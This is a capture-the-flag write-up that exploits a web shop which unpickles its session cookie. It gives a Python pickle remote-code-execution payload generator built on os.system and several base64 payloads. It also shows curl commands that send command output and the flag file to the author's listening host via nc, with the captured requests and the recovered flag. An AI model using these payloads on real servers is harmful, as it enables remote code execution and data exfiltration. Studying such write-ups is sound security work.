Challenge:
After I went bankrupt running my cookie store i decided to improve my security and start a pickle store. Turns out pickles are way more profitable!
http://13.48.133.116:50000
By visiting the url we get the shop page
By clicking buy to examine the request, we've found a base64 encoded cookie:
gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu
By decoding it we got: }q(XmoneyqMXhistoryq]qXanti_tamper_hmacqX aa1ba4de55048cf20e0a7a63b7f8eb62qu.
Now the challenge name "pickle store" makes sense. The format looks like a pickle object, to make sure we had to try it.
import base64
import pickle
data = "gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu"
decoded_data = base64.b64decode(data)
pickle_object = pickle.loads(decoded_data)
print(pickle_object)
By running the previous script we got the following result
{'money': 500, 'history': [], 'anti_tamper_hmac': 'aa1ba4de55048cf20e0a7a63b7f8eb62'}
Now its obvious the server is unserializing the cookie.
After checking the documentation of pickle we can find the warning that using user supplied data is considered dangerous.
By searching more for an exploitation using the keywords pickle rce
we got this gist, let's try it ourselves
import cPickle
import sys
import base64
COMMAND = sys.argv[1]
class PickleRce(object):
def __reduce__(self):
import os
return (os.system,(COMMAND,))
print base64.b64encode(cPickle.dumps(PickleRce()))
Now running python3 script.py whoami
We get gANjcG9zaXgKc3lzdGVtCnEAWAYAAAB3aG9hbWlxAYVxAlJxAy4=
We should now send this payload instead of the original cookie to get executed, but we have an obstacle here, our payload is causing an exception causing status 500 with internal server error page so we wont be able extract data in the http response
But to validate that our payload is getting executed on the server
we sent sleep 5
instead of whoami
and we've noticed that the server has waited for 5 seconds.
Now, its time to get our flag!
Using the same script we have generated a cookie to execute the following command
curl http://r3billions.com:1337/`ls`
We started listening on our server
$ nc -l 1337
Then we sent the request with our forged cookie and we got what we wanted
$ nc -l 1337
GET /flag.txt HTTP/1.1
Host: r3billions.com:1337
User-Agent: curl/7.58.0
Accept: */*
As we can see there's a file called flag.txt, lets forge a new cookie to read its content
python3 script.py 'curl http://r3billions.com:1337/`cat flag.txt | base64`'
We get base64 payload of gANjcG9zaXgKc3lzdGVtCnEAWDcAAABjdXJsIGh0dHA6Ly9yM2JpbGxpb25zLmNvbToxMzM3L2BjYXQgZmxhZy50eHQgfCBiYXNlNjRgcQGFcQJScQMu
and here is the server's request.
$ nc -l 1337
GET /d2F0ZXZye3AxY2tsM18xNV80bl8zdjNuX2IzNzczcl8zbmNyeXA3MTBuX20zN2gwZH0K HTTP/1.1
Host: r3billions.com:1337
User-Agent: curl/7.58.0
Accept: */*
by decoding it we get
watevr{p1ckl3_15_4n_3v3n_b3773r_3ncryp710n_m37h0d}